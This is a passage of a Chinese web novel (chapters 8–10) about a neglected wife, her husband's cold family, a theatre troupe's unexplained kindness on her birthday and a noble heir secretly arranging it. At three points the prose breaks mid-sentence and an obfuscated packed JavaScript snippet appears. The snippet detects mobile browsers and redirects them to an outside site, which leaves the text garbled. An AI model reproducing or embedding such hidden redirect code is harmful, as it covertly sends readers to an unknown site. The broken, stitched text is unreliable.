转而再问卫如琢的公事忙完了没有,听到卫如琢道快了,她也欣慰,让他多多归家,再忙也不能整日不见人影。 这句话很有深意,字里行间都在指子嗣。 卫如琢沉顿片刻之后,他道让母亲担忧了。 祝吟鸾心中沉入谷底。 从停雨阁出来后,卫如琢带着小厮离开。 后几日,卫如琢的确早些回来,两人之间依然话少得紧。 反而是方种月与他亲近不少,他沐浴的时候会叫她伺候,因为那个小丫鬟会帮他揉捏肩骨额头。 祝吟鸾心里很不好受,但还要表露出大度来,因为庞氏叫人盯着这边。 她越来越沉默,因为心绪不好,身子骨好得特别慢。 到她生辰这日,一如往常,晨起的时候卫如琢什么都没说,祝吟鸾便知道他的确记不得了,应该说,他没有放在心上。 卫如琢用了早膳离开,祝吟鸾觉得很闷,带着明芽借着去铺子巡查的名头出门去了。 一路上,明芽都在安慰她。 祝吟鸾只是笑笑,只是笑容苦涩,眼底的悲郁怎么都化不开。 “小姐,奴婢听说京城来了一个戏班子,不如您去看看吧?” “往前您不是喜欢听戏么?” 本来不想去,架不住明芽热情便也去了。 可谁知戏班火热,还需要提前排号,明芽跟人祈求说今日是她家小姐的生辰,只借排一台戏就好,不拘看什么,只图个热闹。 排戏的人说不行,祝吟鸾正要拉着明芽离开,忽而从里面跑出个人来,排戏的人连忙起来恭敬叫班主。 班主乐呵呵迎着祝吟鸾道,“有时辰有空,娘子今儿想看什么戏?” 8. 第8章 班主来得太及时,又是一副好说话到甚至可以称得上“谄媚”的样子。 别说祝吟鸾和明芽一脸不解满头雾水,就连方才严词拒绝两人的排戏接待都愣在了原地。 “班主?近半个月的戏不是都排满了么?”这人低声提醒,“何况今日还是...还是侯府的戏。” 祝吟鸾捕捉到了一个很关键的字眼,侯府。 不会又是......沈家吧? 京城当中能有几个侯府。 她心头的预感有些许强烈,就是沈家,可又不敢贸然询问。 可旁边的明芽已经快嘴问了,“是哪个侯府啊?莫不是高门沈家?” 因为戏班班主态度陡然转变得太快,排戏的人的语气也随之和软,“对,就是侯府沈家。” 随后又对着祝吟鸾半是赔礼半是解释道,“正是因为今儿接了沈家的单子,才不好推了给娘子排戏,否则我也是想为您通融的。” 祝吟鸾反问,“既然排了侯府沈家的戏,那班主您为何又道有空?” “因为今儿侯府老夫人身子骨犯病,那边来了人说不必过去了,这才空了不是。” 话是这么说,祝吟鸾却还是觉得有什么地方不对劲。 就算是有时辰有空处,又何必班主亲自跑来告知? 若非是因为她的身份,卫家夫人? 可在京城权势贵眷遍地的地方,卫家哪里排得上号啊?就说这排戏的方才有多不耐烦已经足够说明一切了。 所以这个班主又是怎么回事? 见祝吟鸾果如侯府随从所说的警惕,班主周全解释道,“适才娘子要看戏,我们这边排戏的人已经叫了人进去传话了。” “原是要将今日的戏给排出去的,那边侯府的人听说是卫家的要看戏,便说今儿的戏曲让给卫家就好。” 所以这个班主以为卫家和侯府沈家有什么交情,这才殷勤跑来告知迎接? 倒也说得过去,祝吟鸾却总觉得不对劲。 可非要说什么地方不对劲,她又说不上来。 应当是太蹊跷了。 怎么她每回出来都碰到沈家的人? 而且总是受沈家的恩情? 上一次的龙涎香都还没有归还,如今又要借沈家的台子听戏? 祝吟鸾觉得不妥当,便摇头道,“今儿不想要看戏了,还是另排给她人吧。” “明芽,我们走。” “娘子留步,不知您有何顾虑,尚且给我们这班子一个机会啊。” “只是今儿忽然不想看戏了。”祝吟鸾还是拒绝,可这班主却说戏人已经准备好了,就等着上台呢,若是真走了,今儿的公费怎么办呢? 祝吟鸾倒也不是拿不出银钱,可还是有所顾忌,她不想欠侯府沈家的人情。 既然是那随从提出,想必是沈世子身边的随从了。 除此之外,她想不到旁的。 “娘子,戏班子空了一日难接人,您看看能不能......”班主谦卑求道。 祝吟鸾管家几年,性子虽然立起来一些,到底不喜欢麻烦为难别人,便也就点了点头。 班主亲自引着两人进去。 这戏院立在梨园,到处可见梨树,还不到梨树开花的季节,这些光秃的梨枝之上悬系了不少的灯笼和红绸吉物,显得漂亮别致。 院子的内墙也绘了一些戏曲人物,栩栩如生令人挪不开眼睛,有一些人祝吟鸾能够看出来,可有一些却无从分辨。 她以前爱看戏,可手里的银钱短缺,很少能看,多是从话本子上得知戏名戏曲,后来出嫁,嫡母顾及面子给了她一些铺子,手上有了银钱,到底宽泛一些,可怎么宽泛都还是要节省。 因为刚嫁进来的时候,卫家败落,处处受限,家里短缺,她用为数不多的嫁妆填了不少空子,庞氏把管家的活丢给她之后,一大家子的生计就要她来筹码,为了能够在卫家立住脚,争得立足之地,不知道想了多少法子钻研铺子的营生为卫家周转。 祝吟鸾自认尽力,做的也算不错,可卫家有人记得她的好么? 回想这些,头又开始疼了。 班主在前头引路,带着两人略看了一遍内院和外院,随后又问祝吟鸾想在庭院里看戏,还是在内室。 “外边开阔还是在外边吧。” “好。”班主又问了她的口味忌讳,叫人上茶水糕点,“外庭院有纳凉的地方,置放了风轮,娘子不必担心闷热。” “多谢。”这戏院做事实在妥帖,根本挑不出什么问题。 不仅如此,这排的几场戏都很合她的喜好。 原想着就看一场便回去,可不知不觉,竟然看了三场了。 尤其是最后一场《畅春园》,这出戏冷门偏僻,是她早年间在一个孤本上面看到的,那本子只有上半回,下半回遗失了。 虽然过去了很多年,但戏写得好,可以说九曲婉转,曾经也自己试想过了下半回,可不得见,怎么都不算满意,遂记了这么多年,没想到今儿竟然就这么看到了。 多年的遗憾得以补全,祝吟鸾的心绪好了不少,在戏落的时候,她跟着明芽轻轻拍手。 主仆二人看得专注,完全没留意到戏院楼阁,半开的窗桕处,一俊美男子长身玉立于此往下看着她的面庞。 她专注看着台上,他也专注看着她柔美恬静的侧脸。 见她眉目舒展,男人薄唇也微微上扬,“......” 三场戏的功夫,天色竟然有些晚了,祝吟鸾估摸着再出去逛逛便回去。 可台上的小生们,又排了一出戏,她还没问,明芽却先道,“小姐,是贺芳诞!” 这出戏不仅仅是热闹,更生动有趣,与前三场截然不同。 祝吟鸾一时看得入迷,待回神已然结束。 那戏曲班主让人端了长寿面上来,笑道,“听闻今儿娘子过生辰,祝贺娘子芳华无忧,岁岁安乐。” “这……”祝吟鸾都愣住了。 “这面不值钱,就图个好彩头,还请娘子不要嫌弃。”班主递了银筷过来。 明芽替祝吟鸾接过,又替她道谢。 “小姐,这个戏班子不错,面做得挺好,您要不要尝尝?” 祝吟鸾看着碗中寓意长寿的汤面,竟觉得有些许相似。 她先前并没有吃过长寿的汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241268|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,可为何会觉得这面……似曾相识呢? 在明芽的催促之下,祝吟鸾还是抬筷尝了,味道不错,汤水鲜美,面条筋道,好吃之外,她还是总觉得什么时候吃过。 可她若是吃过又如何会不记得? “小姐,您怎么了?”见祝吟鸾失神,明芽追问道。 “没、没怎么。”祝吟鸾抛却脑中想法,可能是错觉吧。 从来没有人给她做过长寿面,哪里来的熟悉感? 定然是病没有好全,出现了臆想。 不知不觉当中竟吃完了这一碗长寿面,祝吟鸾只觉得浑身都舒畅起来,脑袋不晕沉了,心绪也随之好了不少。 “小姐脸色都好了些。”见到祝吟鸾可算是有了胃口,没再尝两口便作罢,明芽都开心起来。 “这要多谢班主的招待。”祝吟鸾正让明芽拿银钱。 可班主却道,“今儿的戏只当是请娘子看了,不必结账,这还有份薄礼,请娘子收下,请娘子原谅前头排戏人的过失,别迁怒咱们戏班子,日后娘子再想看戏,可差人通传排号。” 连吃带拿怎么是好? 祝吟鸾说不妥当,怎么都不肯收下,可那班主执意,又说日后卫家起势,还请卫家多多照拂。 盛情难却,祝吟鸾被塞了一份礼。 “……” 回去的路上,她打开一看,竟是戏院班子的戏牌,持有此牌,可入列戏院的首要客人,以后要想看戏请人,戏班子会提前排号。 虽然不是很贵重,但很难得,毕竟要得到这块牌子,得有不菲的富贵和越过大多数人的权势。 “原以为这戏班子不通人情,拜高踩低,没想到竟如此通情达理,体面周到。” 祝吟鸾摸索着戏牌,感受到指腹摩挲的纹路这心里却觉得哪里不对。 可她又说不上来。 仔细想了一路,唯一想到的可能性,便是沈家。 约莫是沈家的出面让戏曲班主的人觉得卫家不好得罪。 说来说去,又是承了那位素未谋面的沈世子的情意…… 若不是他的缘故,今日没有戏看,没有面吃,甚至拿到了戏班子的戏牌? 到府上之时,竟发现长姐过来了,不仅如此,卫如琢也早早归了家,庞氏也在。 几人在正厅热热闹闹说着话用晚膳,好似一家子,而她这个正头儿媳,更像是一个闯入的外人。 素来不喜欢她的婆母庞氏对着她的长姐笑意连连,就连她的夫君……也体贴帮她的长姐夹菜。 虽然是长姐叫他帮忙,可他二人不该避嫌吗?旁边不是有丫鬟?怎么不叫丫鬟来做? 祝吟鸾站在不远处沉默看着。 饭桌上的几人都没有发觉她,还是云妈妈叫了一声少夫人。 三人方才看了过来,可看过来的时候,三人脸上的笑意都消失了,似乎并不欢迎她的到来。 面对这三张脸,祝吟鸾一步都不想过去,只觉得窒息蔓延,渐渐笼罩着她…… 尤其是看到庞氏,看到长姐,看到她最亲密托付的枕边人。 不知何时开始,她有些厌恶了,竟生出想要逃离的心思。 9. 第9章 她怎么会有这样的想法?察觉此,祝吟鸾自己都吓了一跳。 从祝家偏院的方寸之地听从家中安排,懵懵懂懂便嫁到了祝家来,这么多年了。 她可以说是殚心竭虑才有了如今的安稳日子,怎么能够生出逃离的心思呢?离开了祝家,她能去什么地方?京城还有立足之地么? 这里虽然冰冷,可到底是她的家啊。 但她又不明白了,既然是她的家,长姐又为何在这里,还坐在原本属于她的位置上。 那是她的位置,长姐坐下去之前,婆母和卫如琢有说过半句,朝她表达过不合适吗? 应该没有吧,毕竟婆母给了长姐那么好的脸色,这是从来没有对着她有过的…… “少夫人可算回来了,今儿骆夫人过来探望夫人,又说是您的生辰,携了礼来赠予您,膳房早就备办好了膳食,久久见您不回,夫人每日吃药又不能耽误用膳的时辰,便没有等您直接开了桌。” 云妈妈见她的脸色不好,上前给她解释进行安抚,旁边的小丫鬟去取了交椅和碗筷。 因为她往常坐的位置被祝沉檀给占了,对方不起来,当着卫如琢和庞氏的面,卫吟鸾并不能说什么,福身行礼之后便只能坐到了客座之上。 说是她的生辰,却没有等她,明明她回来的时辰并不晚,甚至算早的。 是根本没有把她放在心上,没有打算等她吧。 “妹妹的脸色不好,是怎么了?”祝沉檀佯是关心般问道。 可她这句话一开口又侧面引发了庞氏对祝吟鸾的不满,祝吟鸾还没有回话,庞氏当着祝沉檀的面就开始训斥祝吟鸾。 “幸而是你长姐,若是旁的客人上门你这样摆脸子,叫人家如何看我们卫家人啊?” “婆母教训得是,儿媳只是身子不舒坦,并没有任何对长姐不满不敬的意思。”在云妈妈说话的时候,她已经很快把失落掩盖下去,并没有露出任何破绽,礼数也挑不出任何错。 可长姐为何要这样说呢?就是为了让她的婆母训斥她? 祝吟鸾下意识看了一眼卫如琢,他并没有为她出声辩驳一句,只是静静看着这场闹剧。 见状,祝吟鸾心头的失落更甚,她都不知道自己在期待什么,这么多年卫如琢有在庞氏面前维护过她一声两句吗?没有。 那股失意萦绕在她的心头,渐渐沉重,可她还要强打精神露出好颜色陪着用膳。 “妹妹没有生气就好,我还以为妹妹是怪我这个做姐姐的不请自来,与我恼怒了呢!”祝沉檀言笑晏晏。 “姐姐有心过来,既是探望婆母,妹妹哪里会怪罪。”祝吟鸾笑了一下,低头缓慢用膳。 见状她的沉默,庞氏又是不满。 相较于祝沉檀的能言善辩,祝吟鸾笨拙得过于明显了。 这一顿晚膳多是庞氏与祝沉檀在说话,卫如琢偶尔搭腔,祝吟鸾一言不发。 用过了晚膳,没坐多久,祝沉檀便要走了。 祝吟鸾起身随着卫如琢相送,可庞氏却把她留了下来,她只能看着卫如琢和她的长姐走了出去。 两人并立而行的背影,在祝家的时候她见过很多次,很...般配,过了这么多年,依然是登对的。 庞氏斥责的声音将她给拉了回来,“几日没有到我跟前站规矩伺候,你的教养都去什么地方了?” 祝吟鸾不知道什么地方又惹了庞氏不满意,没说话。 云妈妈见祝吟鸾脸色不好,今儿又是她的生辰,想要为她说话,可庞氏在气头上,做下人的如何好开口呢? “琢哥儿这些时日都回来了,你不想方设法讨好你的夫君,反而死气沉沉对着人,你到底想怎么样?”庞氏问。 祝吟鸾实在不清楚,她只是出去了一日,到底是哪里惹了庞氏不满意,劈头盖脸一顿骂,若是为着方才的事情至于吗? 纵然在这一刻生出了想要反驳的念头,可她嫁进来多年,从来没有忤逆过庞氏,她张不开口。 何况,若是真反驳了,指不定会闹成什么样子,那无异于火上浇油。 “说话!”庞氏拔高声音。 祝吟鸾抬眼,顺着庞氏的话接了错,“都是媳妇不好。” “光认识到自己不好,又不去改,又有何用?” 庞氏越是看她越不满意,都是祝家的女儿,就算不是一个娘胎出来的,祝吟鸾虽然不是祝夫人亲生的,到底是祝大人的血脉,又是一同养在祝夫人名下,如何就...这般怯懦不中用。 听人说,琢哥儿都回来好几日了,可两人的房中没有一日叫过水,这不是意味着没有圆房么? 瞧着她病恹恹的样子,太医不是说她没事? 云妈妈见缝插针,给庞氏端了一盏茶,这才勉强缓和了婆媳之间剑拔弩张的氛围。 吃了这盏茶,庞氏的语气稍微好一些,但依然是盛气凌人不减,“我听人说,你把种月那小丫鬟放到了内室去伺候,还给她涨了月钱?” “是。”祝吟鸾言简意赅。 庞氏看了她一眼,没有在她安静的脸上看出多余的情绪。 “琢哥儿可排斥她?” 庞氏既然已经听说了她把人放到了内室去伺候,卫如琢排不排斥方种月的事情定然也是清楚的。 既然这么问,必然是要探听她的意思了。 借她的口风,瞧她的态度。 在祝卫两家几年,她见惯了长辈口吻,也能猜到一些大概。 “夫君公事繁重时常头痛,会让她给他揉捏活络酸乏之处。” “且涨月钱的事情也是夫君的嘱咐。” “哦?”庞氏问她怎么说的? “夫君听闻方种月的家中艰难,便让我给她涨了一些月钱,好歹补贴一二。” “嗯。”听到听着庞氏应了一声,算是满意了她的回答,她的态度。 “既然琢哥儿不排斥,想来也是有收房的意思,既然他看重你,这件事情便由你来安排。” 安排什么? 让她给两人置办洞房花烛夜么? 卫如琢看重她?这半年来,两人话少到了极点,她完完全全感受不到一点卫如琢的看重。 庞氏从何处看出卫如琢对她的看重了?祝吟鸾要努力克制,才能避免情绪外泄。 “怎么,你不愿意?”庞氏没有等到她积极的回答,立起眉头厉声反问。 “没有,婆母多虑了。”她的声音很轻。 庞氏冷哼了一声,“既然愿意,那就好好安排这件事情,我知道你心里不痛快,但凡女子,都想独占自家的夫郎,可你进入我们卫家几年了?你自己算算,这么久了你还没有身孕,真要耽误下去,得到什么时候?” “你嫁出去的两个小姑都生了,偏你没个声响。” 祝吟鸾说不出话来,只是在心里想,太医和郎中都说了,这孕育后嗣是两人的事情,她的身子骨既然没有问题,为何不让夫君看看? 可她不敢说,若是说了,庞氏定然会严厉训斥她。 她觉得好累,一边还要分着心神记挂卫如琢送长姐出去迟迟未归的事情,一边又要应付庞氏。 “媳妇知道了。” 庞氏又说了几句话才让她出去。 碰巧遇到卫如琢折返,他看了她一眼。 原是很平常的对视。 可不知为何,卫如琢在她的眼眸当中窥见了流露出委屈和悲伤,竟觉得心头不舒坦。 “母亲说你了?”他问。 祝吟鸾不会在背后告小状,这样会令卫如琢为难。 她摇头,“婆母只是叮嘱了我一些事情,并没有训斥。” 卫如琢方才见她难受,想到适才送祝沉檀出去之时,对方低声抹泪跟他道两人之间是在有缘无份,又说让他好生对她的妹妹之时。 他竟然在看着祝沉檀的时候,从她低头擦眼泪的一个瞬间,仿佛看见了祝吟鸾的影子。 可祝吟鸾不会这样,她很少哭。 因为这一抹失神,送走了祝沉檀,他才过廊下等着祝吟鸾,毕竟今日是她的生辰,等一等也没什么,耽误不了多久。 她果然出来了,带着小丫鬟走得很缓慢。 “既然没有训斥,你为何这副受了委屈的神色?” “我没有委屈,只是身上的病没有好全,有些乏累和难受。” 他为何突然关怀她,难不成方才送长姐出去,说了什么对不起她的话?祝吟鸾乱七八糟想着。 她想要遏制这样的念头,却又没办法克制自己的心绪。 “既然病了就少出门去。”他道。 祝吟鸾没说话。 想到今日出门看的戏,吃的那碗长寿面,沉闷的心绪散了一些。 “这是你长姐送与你的生辰贺礼。”卫如琢拿给她。 “夫君有替我多谢长姐吗?”她问。 “谢过了。” 祝吟鸾接过贺礼。 “这些时日公务繁忙,我忘了今儿是你的生辰,过些时日叫人给你备办,你想要些什么?”卫如琢问。 他的声音很平淡,听到这句话的祝吟鸾更显平淡。 她的思绪放得很远,第一年她过生辰,卫如琢记得,第一年给她备了珍珠簪子,第二年两人情意微浓,他亲手给她刻了一支步摇,她往常都舍不得戴,第三年他忘了,今年他也忘了…… 不知道是不是因为他去年有忘记的先例,还是因为她心里早做了准备,真的听到卫如琢说忘记的一瞬间,竟觉得没有那么难过。 她似乎没有期待了。 “你怎么不说话?”卫如琢皱眉。 往日里的祝吟鸾虽然沉默,却不似今日这般话少得可怜。 “是在怨我?” 祝吟鸾摇头,“只是在想生辰而已,与往日里也没什么区别,夫君的朝廷公务更紧要些,至于生辰贺礼还是不必了吧…” “为何?”卫如琢更不解了。 祝吟鸾不想要他给的生辰礼?她分明是期待的。 就像她进门的时候,率先看向他,卫如琢如何感受不到祝吟鸾对他的期待和依赖? 正因为如此,她的这番话才让卫如琢不解。 祝吟鸾轻声道,“这些年铺子虽然周转开了,可府上的存银并不多,加上前面两位小姑嫁人之时补贴了不少嫁妆,夫君越是往上做官,日后要打点的地方,花销在世家之间的人情往来就更多,我并没有什么想要的东西,衣衫首饰都还有的,并不需要费心采买了。” “原是因为这个缘故。”祝吟鸾节省,他是知道的。 虽欣慰,可卫如琢还是皱着眉头说了,“家里再怎么紧也不要如此省俭,免得遭人笑话。” 祝吟鸾哪里不明白他的意思,是说她小家子气吗?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241269|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不省庞氏训斥,省了说她小家子气。 她真不知道怎么做。 卫如琢见她神色寥落,病容明显,想着今儿是她的生辰,也不欲多说了。 谁知道祝吟鸾在他前面开口,还是一句他想不到的话。 “夫君喜欢那个小丫鬟吗?” 卫如琢顿住,看着她恬静沉默的侧脸,“你说什么?” 她直接得不像是祝吟鸾。 “夫君喜欢方种月吗?”她又问了一遍,这一次提了名字。 “你问这句话是何意?”他看着她的脸,还是那个祝吟鸾,可他为何觉得摸不透她的意思。 祝吟鸾与他对视了一会,回避他的视线,“我嫁入卫家门多年没有身孕,今日婆母叫我留下,问了我夫君是否排斥那个小丫鬟,若是不排斥,便让我安排一切,为夫君收房。” “所以你心情低落是因为母亲说的这些话?” 她吃醋了? 罕见祝吟鸾吃味,先前母亲让收房她都是孝顺至极,顺应说好,替庞氏过问他的意思。 卫如琢基本都退了,这一次…… 他表露出亲近,祝吟鸾便吃味了? 女子善妒不好,何况母亲说得对,她多年没有身孕,的确不好。 可他看着祝吟鸾低落的神色,竟然是开心的。 绕是如此,卫如琢并没有表露。 他反问,“你是如何回母亲的话?” “什么?”这次到祝吟鸾不解了。 “你如何回母亲的话,说我排斥还是不排斥?” 祝吟鸾也没有过多隐瞒,将之前与庞氏讲的话陈述了一遍。 她的回话挑不出什么错来,卫如琢听了却不喜欢。 “那你的意思是要听从母亲的话了?” 祝吟鸾不解,只能抬头看着他。 她难不成回错了? 对上男人的怒容,没一会她下意识挪开眼。 瞧见她这样,卫如琢更是觉得她怯懦,无趣。 没再与她多说一句话,抬脚带着人离开。 徒留祝吟鸾瞧着他消失的背影。 回了院子,梳洗过后,卫如琢没回来,想必今日是不回来了,小丫鬟们都出去了,守夜的明芽忍不住跟她抱怨。 说卫如琢不好,替祝吟鸾鸣不平。 说着说着,忍不住道,“若是没有大小姐那档子事情,小姐何必在卫家受气。” “您若是没嫁到卫家来,日子一定过得顺畅。” “是吗?”没有睡意的祝吟鸾低声一句。 “是啊,在奴婢眼里您是最好的人!最好的姑娘。” 性子柔和,处事周到。 抱着被褥进来的姣惠也听到了,她附和着明芽点头,“奴婢也觉得小姐好。” 随后甚至改了称谓道,“卫公子配不上小姐。” 听到这句话,祝吟鸾忍不住笑,“我没有你们说得这么好。” 若是她真的这么好,怎么会没有人在乎她,爱她呢? 姨娘走得早,父亲不在意,嫡母和家里的长姐哥哥更不用说了,往日里不欺负她都算是不错了。 “小姐有想过和离么?”姣惠忽而道。 祝吟鸾愣了,明芽也顿住。 “卫家这样不好,总是让小姐受委屈,您为何不思量着和离?” “您手上有蒸蒸日上的铺子,自己也懂营生,有了银钱便能够自立自足,既然如此为何要依托卫家,平白无故委屈在这一亩三分地受人欺负。”姣惠直白道。 明芽没提和离不和离的事情,只夸耀道,“姣惠力气大,说话也有股子猛劲。” “小姐……奴婢觉得,她说得也的确不错,只是……”明芽支支吾吾。 祝吟鸾没吭声。 明芽没说完的话,她在心里补足了,只是她若和离了,能去什么地方?这京城还能容得下她么?父亲和嫡母会放过她吗? 可若真的如同姣惠所说,和离了,她便能够逃离卫家,再不必掺和这里的事情…… 思及此,她心里竟不是害怕,而是迷茫的解脱? “奴婢失言,小姐不要生气。”姣惠见她沉默,脸色不好,连忙道歉。 祝吟鸾摇头,“无碍。” “奴婢跟明芽姐姐的心思一样,觉得您很好,堪配天底下,京城里最好的郎君公子,而不是卫家这样不知珍惜的。” 明芽笑,“京城里最好的郎君公子当属于侯府沈世子,照你的话,咱们小姐也配得上吗?” 姣惠却一本正经,郑重其事点头,“配得上。” 明芽笑着点头,“对,配得上。” 祝吟鸾却没当回事,嘱咐她们快歇了,别瞎说。 “……” 信鸽飞到侯府沈家内院之时,随从看了进入书房,给正在伏案的俊美男人回话。 听罢,沈景湛淡淡嗯了一声。 随从忍不住疑问,“祝姑娘心思细腻,大公子让人提和离的事情……” 还提了那些,“您不怕她发觉不对吗?” 若是发觉不对,岂不是功亏一篑了? 今儿又是戏班子又是长寿面,夜里再提此事,恐怕危险。 沈景湛一顿,薄唇微勾,面色没有一点暴露的担忧,只剩下饶有趣致的兴味。 “那便看看她会不会到底起疑…” 10. 第10章 也不知是不是睡前明芽和姣惠这两个小丫鬟在她的床榻之前提了一嘴。 夜里,她居然又开始做梦了,这也是一个诡异至极的梦,梦到她和另一个男人言笑晏晏。 梦里的男人看不清楚脸,可从高大宽阔的身形来看……似乎是上一次梦中的那个男人。 梦里的她对着他说话,眉眼舒展,没什么防备。 两人身处在小溪边沿,似乎在择菜?可不是她在洗,而是他在洗,她指挥着,教他怎么洗。 他不叫她碰水,仔细听着她的嘱咐,十分认真,没有丁点不耐烦。 没一会,洗好了,他收拢了带着她回去,还帮她拧干不小心沾了水的袖摆。 她与他并立而行,没走两步,她抬手让他低头。 他分明不明所以她的话,却依旧顺从弯腰下来,然后她从他束发的玉冠里拿出一颗花蕊,也不知是何时掉的,两人并立越走越远…… 祝吟鸾醒过来的时候还有些许恍惚,她为何又做了这样的梦? 莫不是她果真生了要和离的心思?这才会梦到不是卫如琢的公子? 可既然是这样的话,为何会是上一次的男人,她捏了捏疼痛的眉心。 明芽听到动静,撩开幔帐,低声道,“小姐,时辰还早呢,您要不要再歇会?” 祝吟鸾问她几时了?得知不过半夜,祝吟鸾又躺了下去。 本以为会毫无睡意,没想到她又睡了过去。 这一次她做了一个更罕见荒唐的梦。 深夜里,锦被翻浪。 她被高大看不清脸的男人追吻,她四处躲避,可他攥着她的腰肢,怎么都不让她跑。 这一次,祝吟鸾听到了男人的声音。 可磁沉暗哑到了极点,她的感官迟钝,呼吸不畅,她根本就分不清楚,不,是无从分辨到底是谁的声音。 男人吻着她的侧脸,耳朵,让她不要害怕不要躲,说他会轻一点。 梦的后半截几乎是不可控制了,他越是安抚,她越是躲避害怕,整个人往后缩…… 可他将她抱得密不透风,她无法逃脱他掌心的炙热和滚烫…… “小姐……小姐!您怎么了?” 祝吟鸾猛然在明芽的呼声当中惊醒,一瞬间睁开眼睛。 她猛然坐起来,这才留意到被褥被她踢得乱成一团,堆积在床尾,有一些甚至掉到了地上。 “小姐是不是做噩梦了?”明芽拧了帕子给她擦脸,姣惠又给她端了一盏安神茶。 祝吟鸾久久说不出话来,她不知道要怎么说。 这还要怎么说啊? 这算是一个荒唐的噩梦吧。为何会做这样的梦…… 吃了一盏茶方才好些,祝吟鸾两只手捧着茶盏,“是…我的确做噩梦了。” 梦里的她竟然和别的男人产生了亲密。 那个人不是卫如琢。 她怎么会! 幸而,只是梦而已。 应当是这些时日庞氏总提到孩子,而要孩子又总得做这样的事情,除此之外,庞氏又让她安排给卫如琢收房的事情,小丫鬟们在她睡前提到和离。 日有所思,夜有所梦,故而如此。 “小姐别怕,都是梦而已。”明芽瞧她吓得不轻,边给她抚着后背边安抚道。 “对……你说得对,只是一个梦。” 她哪里有过卫如琢之外的男人,往前在祝府,基本没有见过外男,怎么会跟别人有牵扯,行亲密之事呢? 这就是个梦。 但是这个梦,未免也太真实了。 尤其是他沉入,捏着她的腰身,那种猛然骤而的实感,比起卫如琢都要令人恐惧。 虽说恐惧,却因为他的放松,没有跟卫如琢那般疼痛不适。 意识到自己在回想些什么,祝吟鸾连忙甩开脑中思绪。 她把剩下的半盏茶一饮而尽,“……” 因为昨夜的梦,今儿盘算着庞氏要她收房的交代,她居然没有那么难受,只是觉得心中厌倦,乏累。 先找了那个小丫鬟来问话,说家里婆母有意让她做房姨为家里开枝散叶,问她可愿意? 方种月羞答答跪到地上,说了一席漂亮话,“奴婢自卖到卫家以来,主母和大人都宽厚,若是能够帮卫家开枝散叶,也是奴婢的福气。” 祝吟鸾看着她的云鬓好一会,颔首,“既然你愿意,那今日我便安排。” “家里的空院子多,你可有喜欢的?”她问。 就算是姨娘,可还没有正经收入房内,哪里就到挑房的阶段了。 方种月还是那句话,“奴婢但凭少夫人做主。” “那我让人收拾东边的院子吧,那地方清净且不偏僻,是个好住处。” “奴婢多谢少夫人。” 明芽带着人收拾了一遍,祝吟鸾又过去清点看了看。 明芽怕她难受,哄着她,“小姐何必亲自过来,奴婢们做事,您还不放心吗?” 祝吟鸾的声音一如既往的温柔,听不出什么问题,“既然是婆母的吩咐,我不过来看看,说不过去。” 院子里有庞氏的人,她一举一动庞氏都知道。 若有半点懈怠,恐怕庞氏说她摆架子不容人。 夜里,卫如琢被请回来了。 他原不打算回来,可家里已经备好了,只怕耽误,祝吟鸾想了想,还是去让人打听了他的动向,问他若是公务不忙,请他回府用晚膳。 昨日闹得不欢而散,卫如琢的脸色不怎么好看。 相较于他的不悦,祝吟鸾可以算得上面色如常。 他归家的时候留意到了整改收拾出来的东院,一时没有说话。 用膳用到一半,卫如琢忽而问她,“你想好了?” 祝吟鸾看着他冷淡的神色,“……” 本来想要反问一句她有得选吗? 可事已至此,多说无益。何况就算是说了有什么用? 卫如琢只忙着他的公事,根本不知道她在后宅面对庞氏有多为难。 见她一言不发,卫如琢冷冷看了一会,不打算吃了,径直起身离去。 看着他消失的方向,是东院。 明芽忍不住多说了一句,“小姐,您分明也不想帮姑爷收房,为何不趁此机会说明您的委屈。” “他不会站在我这边的。”她很清楚,她在卫如琢心里根本没有那么重要。 尤其是对上庞氏,他不会选择自己。 这么多年了,他可有为她的委屈出过一次头,回过一次庞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241270|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏的话? 没有。 饶是前几年情意融洽,他也只是说,“父亲被贬偏远之地以后,母亲一人在京照拂我与两个妹妹并不容易,她身子又不好你要多担待。” 为着卫如琢的这一番话,她这一担待就是许多年。 越是回想,祝吟鸾的心里越是空,越是觉得迷茫。 卫如琢今日收了房,日后那小丫鬟有了身孕,生下来了,要放在她身边养吗? 思及此,祝吟鸾惊觉,她好似也成为了嫡母。 卫如琢去而未归,这一夜祝吟鸾彻夜未眠,她听到东院的小丫鬟备水送了进去。 怕明芽担心,她绕是没睡也没有发出一点动静,只是闭着眼睛假寐,脑中走马灯似地刮过她和卫如琢的过往,除却忙碌的乏累,只剩下平淡的无味。 过了这个年关,便是第四年了吧? 翌日,方种月要给祝吟鸾敬茶。 期间,卫如琢一直看着她的反应,他发觉祝吟鸾如同想象当中的平淡,觉得很没意思。 她一向如此,他在期待什么? 